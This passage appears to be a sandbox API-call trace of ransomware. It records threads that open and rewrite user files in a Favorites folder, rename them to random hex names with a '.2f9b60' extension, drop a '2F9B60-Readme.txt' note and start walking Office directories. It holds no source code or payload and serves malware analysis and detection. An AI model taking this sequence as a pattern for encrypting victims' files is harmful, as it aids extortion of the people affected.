0x1cdb2d20 [0200.801] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb2cc0 [0200.802] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb2cc0) returned 1 [0200.803] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867540) returned 1 [0200.804] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced1de0) returned 1 [0200.804] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1d) returned 0x1cdb2cc0 [0200.804] sprintf (in: _Dest=0x1cdb2cc0, _Format="%c%c" | out: _Dest="df") returned 2 [0200.804] sprintf (in: _Dest=0x1cdb2cc2, _Format="%c%c" | out: _Dest="af") returned 2 [0200.804] sprintf (in: _Dest=0x1cdb2cc4, _Format="%c%c" | out: _Dest="e6") returned 2 [0200.804] sprintf (in: _Dest=0x1cdb2cc6, _Format="%c%c" | out: _Dest="fe") returned 2 [0200.804] sprintf (in: _Dest=0x1cdb2cc8, _Format="%c%c" | out: _Dest="36") returned 2 [0200.805] sprintf (in: _Dest=0x1cdb2cca, _Format="%c%c" | out: _Dest="f3") returned 2 [0200.805] sprintf (in: _Dest=0x1cdb2ccc, _Format="%c%c" | out: _Dest="95") returned 2 [0200.805] sprintf (in: _Dest=0x1cdb2cce, _Format="%c%c" | out: _Dest="ff") returned 2 [0200.805] sprintf (in: _Dest=0x1cdb2cd0, _Format="%c%c" | out: _Dest="9a") returned 2 [0200.805] sprintf (in: _Dest=0x1cdb2cd2, _Format="%c%c" | out: _Dest="53") returned 2 [0200.805] sprintf (in: _Dest=0x1cdb2cd4, _Format="%c%c" | out: _Dest="ba") returned 2 [0200.805] sprintf (in: _Dest=0x1cdb2cd6, _Format="%c%c" | out: _Dest="4c") returned 2 [0200.805] sprintf (in: _Dest=0x1cdb2cd8, _Format="%c%c" | out: _Dest="59") returned 2 [0200.805] sprintf (in: _Dest=0x1cdb2cda, _Format="%c%c" | out: _Dest="c6") returned 2 [0200.805] RtlInitAnsiString (in: DestinationString=0x2993fb68, SourceString="dfafe6fe36f395ff9a53ba4c59c6" | out: DestinationString="dfafe6fe36f395ff9a53ba4c59c6") [0200.805] RtlAnsiStringToUnicodeString (in: DestinationString=0x2993fb38, SourceString="dfafe6fe36f395ff9a53ba4c59c6", AllocateDestinationString=1 | out: DestinationString="dfafe6fe36f395ff9a53ba4c59c6") returned 0x0 [0200.805] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3a) returned 0x1ced2240 [0200.806] wcscat (in: _Dest=0x431067b0, _Source="dfafe6f" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\dfafe6f") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\dfafe6f" [0200.806] wcscat (in: _Dest=0x431067b0, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\dfafe6f.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\dfafe6f.2f9b60" [0200.806] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\dfafe6f.2f9b60", NtPathName=0x2993fb10, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\dfafe6f.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0200.806] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa6) returned 0x431eb7a0 [0224.135] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431eb7a0) returned 1 [0224.135] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43200bc0) returned 1 [0224.135] NtQueryInformationFile (in: FileHandle=0x1ae0, IoStatusBlock=0x2993fb78, FileInformation=0x2993fb88, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2993fb78, FileInformation=0x2993fb88) returned 0x0 [0224.135] NtSetInformationFile (FileHandle=0x1ae0, IoStatusBlock=0x2993fb78, FileInformation=0x2993fb88, Length=0x28, FileInformationClass=0x4) returned 0x0 [0225.358] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431067b0) returned 1 [0225.358] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced2240) returned 1 [0225.358] FlushFileBuffers (hFile=0x1ae0) returned 1 [0225.552] CloseHandle (hObject=0x1ae0) returned 1 [0226.005] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x90) returned 0x20505870 [0226.005] wcscpy (in: _Dest=0x20505870, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\" [0226.005] wcscat (in: _Dest=0x20505870, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\2F9B60-Readme.txt" [0226.005] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\2f9b60-readme.txt")) returned 0x20 [0226.519] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20505870) returned 1 [0226.520] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86af20) returned 1 Thread: id = 1805 os_tid = 0xc30 [0132.312] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSNBC News.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msnbc news.url")) returned 0x20 [0132.313] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSNBC News.url", dwFileAttributes=0x20) returned 1 [0132.314] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSNBC News.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msnbc news.url"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1ae4 [0132.314] GetFileSizeEx (in: hFile=0x1ae4, lpFileSize=0x2936fe40 | out: lpFileSize=0x2936fe40*=133) returned 1 [0132.315] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202669c0 [0132.315] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266ab0 [0132.315] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266bd0 [0132.315] NtQuerySystemTime (in: CurrentTime=0x2936fd00 | out: CurrentTime=0x2936fd00*=132462177375526000) returned 0x0 [0132.315] RtlRandomEx (in: Seed=0x2936fcf0 | out: Seed=0x2936fcf0) returned 0x364574f4 [0132.315] RtlRandomEx (in: Seed=0x2936fcf0 | out: Seed=0x2936fcf0) returned 0xdd722c5 [0132.315] RtlRandomEx (in: Seed=0x2936fcf0 | out: Seed=0x2936fcf0) returned 0x5a4f86c7 [0132.315] RtlRandomEx (in: Seed=0x2936fcf0 | out: Seed=0x2936fcf0) returned 0x2c6cffe3 [0132.315] RtlRandomEx (in: Seed=0x2936fcf0 | out: Seed=0x2936fcf0) returned 0x638c3454 [0132.315] RtlRandomEx (in: Seed=0x2936fcf0 | out: Seed=0x2936fcf0) returned 0x3fa78d5a [0132.315] RtlRandomEx (in: Seed=0x2936fcf0 | out: Seed=0x2936fcf0) returned 0x73dbe314 [0132.315] RtlRandomEx (in: Seed=0x2936fcf0 | out: Seed=0x2936fcf0) returned 0x241533c7 [0132.315] RtlRandomEx (in: Seed=0x2936fcf0 | out: Seed=0x2936fcf0) returned 0x3739cbb4 [0132.315] RtlRandomEx (in: Seed=0x2936fcf0 | out: Seed=0x2936fcf0) returned 0x7bf8d12a [0132.315] RtlRandomEx (in: Seed=0x2936fcf0 | out: Seed=0x2936fcf0) returned 0x6d351dd9 [0132.315] RtlRandomEx (in: Seed=0x2936fcf0 | out: Seed=0x2936fcf0) returned 0x783be032 [0132.315] RtlRandomEx (in: Seed=0x2936fcf0 | out: Seed=0x2936fcf0) returned 0x3124c025 [0132.315] RtlRandomEx (in: Seed=0x2936fcf0 | out: Seed=0x2936fcf0) returned 0x49251f0f [0132.315] RtlRandomEx (in: Seed=0x2936fcf0 | out: Seed=0x2936fcf0) returned 0x20e0edb6 [0132.315] RtlRandomEx (in: Seed=0x2936fcf0 | out: Seed=0x2936fcf0) returned 0x100eea85 [0132.315] RtlRandomEx (in: Seed=0x2936fcf0 | out: Seed=0x2936fcf0) returned 0x4cb49814 [0132.316] RtlRandomEx (in: Seed=0x2936fcf0 | out: Seed=0x2936fcf0) returned 0x2d433ba3 [0132.316] RtlRandomEx (in: Seed=0x2936fcf0 | out: Seed=0x2936fcf0) returned 0x224b6a71 [0132.316] RtlRandomEx (in: Seed=0x2936fcf0 | out: Seed=0x2936fcf0) returned 0x42d2edce [0132.316] RtlRandomEx (in: Seed=0x2936fcf0 | out: Seed=0x2936fcf0) returned 0x31af25ee [0132.316] RtlRandomEx (in: Seed=0x2936fcf0 | out: Seed=0x2936fcf0) returned 0x19ceef13 [0132.316] RtlRandomEx (in: Seed=0x2936fcf0 | out: Seed=0x2936fcf0) returned 0x67bda40f [0132.316] RtlRandomEx (in: Seed=0x2936fcf0 | out: Seed=0x2936fcf0) returned 0x12f4fd5d [0132.316] RtlRandomEx (in: Seed=0x2936fcf0 | out: Seed=0x2936fcf0) returned 0x50824b3d [0132.316] RtlRandomEx (in: Seed=0x2936fcf0 | out: Seed=0x2936fcf0) returned 0x6876ee65 [0132.316] RtlRandomEx (in: Seed=0x2936fcf0 | out: Seed=0x2936fcf0) returned 0x2ddc3239 [0132.316] RtlRandomEx (in: Seed=0x2936fcf0 | out: Seed=0x2936fcf0) returned 0x737d524f [0132.316] RtlRandomEx (in: Seed=0x2936fcf0 | out: Seed=0x2936fcf0) returned 0x7132d857 [0132.316] RtlRandomEx (in: Seed=0x2936fcf0 | out: Seed=0x2936fcf0) returned 0x1f96e1f8 [0132.316] RtlRandomEx (in: Seed=0x2936fcf0 | out: Seed=0x2936fcf0) returned 0x4d2b473e [0132.316] RtlRandomEx (in: Seed=0x2936fcf0 | out: Seed=0x2936fcf0) returned 0x3a73d1ee [0132.327] ReadFile (in: hFile=0x1ae4, lpBuffer=0x41df5950, nNumberOfBytesToRead=0x85, lpNumberOfBytesRead=0x2936fcf0, lpOverlapped=0x0 | out: lpBuffer=0x41df5950*, lpNumberOfBytesRead=0x2936fcf0*=0x85, lpOverlapped=0x0) returned 1 [0132.328] SetFilePointerEx (in: hFile=0x1ae4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.328] WriteFile (hFile=0x1ae4, lpBuffer=0x41bc85a0, nNumberOfBytesToWrite=0x85, lpNumberOfBytesWritten=0x2936fcf4, lpOverlapped=0x0) [0180.011] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb0c80 [0180.011] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb0ce0 [0180.012] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb0ce0) returned 1 [0180.012] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41bc85a0) returned 1 [0180.012] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41df5950) returned 1 [0180.012] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503910) returned 1 [0180.013] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97a30) returned 1 [0180.013] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2a) returned 0x1cd9fb30 [0180.013] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97a30 [0180.013] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503910 [0180.014] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb0ce0 [0180.014] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb0ce0) returned 1 [0180.014] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2a) returned 0x1cd9ec70 [0180.014] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb0ce0 [0180.015] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb0b00 [0180.015] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb0b00) returned 1 [0180.016] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503910) returned 1 [0180.016] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97a30) returned 1 [0180.016] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10e) returned 0x42c14cf0 [0180.016] SetFilePointerEx (in: hFile=0x1ae4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0180.017] WriteFile (in: hFile=0x1ae4, lpBuffer=0x42c14cf0*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x2936fe10, lpOverlapped=0x0 | out: lpBuffer=0x42c14cf0*, lpNumberOfBytesWritten=0x2936fe10*=0x10e, lpOverlapped=0x0) returned 1 [0188.170] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059150 [0188.171] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503f10 [0188.171] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43134a20 [0188.171] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43134a20) returned 1 [0188.172] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1c) returned 0x43134a20 [0188.172] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43134a50 [0188.172] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43134a80 [0188.173] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43134a80) returned 1 [0188.173] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503f10) returned 1 [0188.173] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059150) returned 1 [0188.174] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x39) returned 0x42059150 [0188.174] sprintf (in: _Dest=0x42059150, _Format="%c%c" | out: _Dest="43") returned 2 [0188.174] sprintf (in: _Dest=0x42059152, _Format="%c%c" | out: _Dest="41") returned 2 [0188.174] sprintf (in: _Dest=0x42059154, _Format="%c%c" | out: _Dest="a4") returned 2 [0188.174] sprintf (in: _Dest=0x42059156, _Format="%c%c" | out: _Dest="71") returned 2 [0188.174] sprintf (in: _Dest=0x42059158, _Format="%c%c" | out: _Dest="4a") returned 2 [0188.174] sprintf (in: _Dest=0x4205915a, _Format="%c%c" | out: _Dest="f5") returned 2 [0188.174] sprintf (in: _Dest=0x4205915c, _Format="%c%c" | out: _Dest="16") returned 2 [0188.174] sprintf (in: _Dest=0x4205915e, _Format="%c%c" | out: _Dest="3e") returned 2 [0188.174] sprintf (in: _Dest=0x42059160, _Format="%c%c" | out: _Dest="1b") returned 2 [0188.174] sprintf (in: _Dest=0x42059162, _Format="%c%c" | out: _Dest="81") returned 2 [0188.174] sprintf (in: _Dest=0x42059164, _Format="%c%c" | out: _Dest="15") returned 2 [0188.174] sprintf (in: _Dest=0x42059166, _Format="%c%c" | out: _Dest="51") returned 2 [0188.174] sprintf (in: _Dest=0x42059168, _Format="%c%c" | out: _Dest="b9") returned 2 [0188.174] sprintf (in: _Dest=0x4205916a, _Format="%c%c" | out: _Dest="78") returned 2 [0188.174] sprintf (in: _Dest=0x4205916c, _Format="%c%c" | out: _Dest="0d") returned 2 [0188.174] sprintf (in: _Dest=0x4205916e, _Format="%c%c" | out: _Dest="58") returned 2 [0188.174] sprintf (in: _Dest=0x42059170, _Format="%c%c" | out: _Dest="45") returned 2 [0188.174] sprintf (in: _Dest=0x42059172, _Format="%c%c" | out: _Dest="65") returned 2 [0188.175] sprintf (in: _Dest=0x42059174, _Format="%c%c" | out: _Dest="e8") returned 2 [0188.175] sprintf (in: _Dest=0x42059176, _Format="%c%c" | out: _Dest="66") returned 2 [0188.175] sprintf (in: _Dest=0x42059178, _Format="%c%c" | out: _Dest="51") returned 2 [0188.175] sprintf (in: _Dest=0x4205917a, _Format="%c%c" | out: _Dest="fa") returned 2 [0188.175] sprintf (in: _Dest=0x4205917c, _Format="%c%c" | out: _Dest="ad") returned 2 [0188.175] sprintf (in: _Dest=0x4205917e, _Format="%c%c" | out: _Dest="1f") returned 2 [0188.175] sprintf (in: _Dest=0x42059180, _Format="%c%c" | out: _Dest="87") returned 2 [0188.175] sprintf (in: _Dest=0x42059182, _Format="%c%c" | out: _Dest="05") returned 2 [0188.175] sprintf (in: _Dest=0x42059184, _Format="%c%c" | out: _Dest="37") returned 2 [0188.175] sprintf (in: _Dest=0x42059186, _Format="%c%c" | out: _Dest="49") returned 2 [0188.175] RtlInitAnsiString (in: DestinationString=0x2936fe88, SourceString="4341a4714af5163e1b811551b9780d584565e86651faad1f87053749" | out: DestinationString="4341a4714af5163e1b811551b9780d584565e86651faad1f87053749") [0188.175] RtlAnsiStringToUnicodeString (in: DestinationString=0x2936fe58, SourceString="4341a4714af5163e1b811551b9780d584565e86651faad1f87053749", AllocateDestinationString=1 | out: DestinationString="4341a4714af5163e1b811551b9780d584565e86651faad1f87053749") returned 0x0 [0188.175] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x72) returned 0x20503e90 [0188.176] RtlFreeAnsiString (AnsiString="4") [0188.176] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059150) returned 1 [0188.176] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43134a20) returned 1 [0188.177] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43134a50) returned 1 [0188.177] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c14cf0) returned 1 [0188.178] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9ec70) returned 1 [0188.178] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb0ce0) returned 1 [0188.178] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9fb30) returned 1 [0188.179] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb0c80) returned 1 [0188.179] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266ab0) returned 1 [0188.179] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266c00) returned 1 [0188.180] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266c30) returned 1 [0188.180] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x96) returned 0x1ce635b0 [0188.180] wcscat (in: _Dest=0x1ce635b0, _Source="4341a4714af516" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\4341a4714af516") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\4341a4714af516" [0188.180] wcscat (in: _Dest=0x1ce635b0, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\4341a4714af516.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\4341a4714af516.2f9b60" [0188.180] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\4341a4714af516.2f9b60", NtPathName=0x2936fe30, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\4341a4714af516.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0188.180] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb4) returned 0x42c37650 [0194.337] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c37650) returned 1 [0194.337] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c13020) returned 1 [0194.338] NtQueryInformationFile (in: FileHandle=0x1ae4, IoStatusBlock=0x2936fe98, FileInformation=0x2936fea8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2936fe98, FileInformation=0x2936fea8) returned 0x0 [0194.338] NtSetInformationFile (FileHandle=0x1ae4, IoStatusBlock=0x2936fe98, FileInformation=0x2936fea8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0206.086] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce635b0) returned 1 [0206.086] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503e90) returned 1 [0206.086] FlushFileBuffers (hFile=0x1ae4) returned 1 [0206.147] CloseHandle (hObject=0x1ae4) returned 1 [0215.948] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x90) returned 0x4319dda0 [0215.949] wcscpy (in: _Dest=0x4319dda0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\" [0215.949] wcscat (in: _Dest=0x4319dda0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\2F9B60-Readme.txt" [0215.949] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\2f9b60-readme.txt")) returned 0xffffffff [0216.606] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe94 [0224.121] WriteFile (in: hFile=0xe94, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x2936fd50, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x2936fd50*=0xba9, lpOverlapped=0x0) returned 1 [0225.566] CloseHandle (hObject=0xe94) returned 1 [0227.223] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4319dda0) returned 1 [0227.223] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86a500) returned 1 Thread: id = 1806 os_tid = 0x20c [0132.330] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x90) returned 0x205084f0 [0132.331] wcscpy (in: _Dest=0x205084f0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net" [0132.331] wcscat (in: _Dest=0x205084f0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\" [0132.331] wcscat (in: _Dest=0x205084f0, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\*") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\*" [0132.331] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce1f7f0 [0132.331] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\*", lpFindFileData=0x1ce1f7f0 | out: lpFindFileData=0x1ce1f7f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51174850, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x709f1ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x709f1ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b7ce9a0 [0132.350] wcscmp (_String1=".", _String2=".") returned 0 [0132.350] FindNextFileW (in: hFindFile=0x1b7ce9a0, lpFindFileData=0x1ce1f7f0 | out: lpFindFileData=0x1ce1f7f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51174850, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x709f1ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x709f1ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0132.350] wcscmp (_String1="..", _String2=".") returned 1 [0132.350] wcscmp (_String1="..", _String2="..") returned 0 [0132.350] FindNextFileW (in: hFindFile=0x1b7ce9a0, lpFindFileData=0x1ce1f7f0 | out: lpFindFileData=0x1ce1f7f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51bb8730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x61a457d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61a457d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Calendar", cAlternateFileName="")) returned 1 [0132.350] wcscmp (_String1="Calendar", _String2=".") returned 1 [0132.350] wcscmp (_String1="Calendar", _String2="..") returned 1 [0132.351] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9e) returned 0x1b861490 [0132.351] wcscpy (in: _Dest=0x1b861490, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net" [0132.351] wcscat (in: _Dest=0x1b861490, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\" [0132.351] wcscat (in: _Dest=0x1b861490, _Source="Calendar" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar" [0151.311] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa2) returned 0x1cd65fa0 [0151.311] wcscpy (in: _Dest=0x1cd65fa0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar" [0151.311] wcscat (in: _Dest=0x1cd65fa0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\") returned="C:\\Program Files\\Microsoft 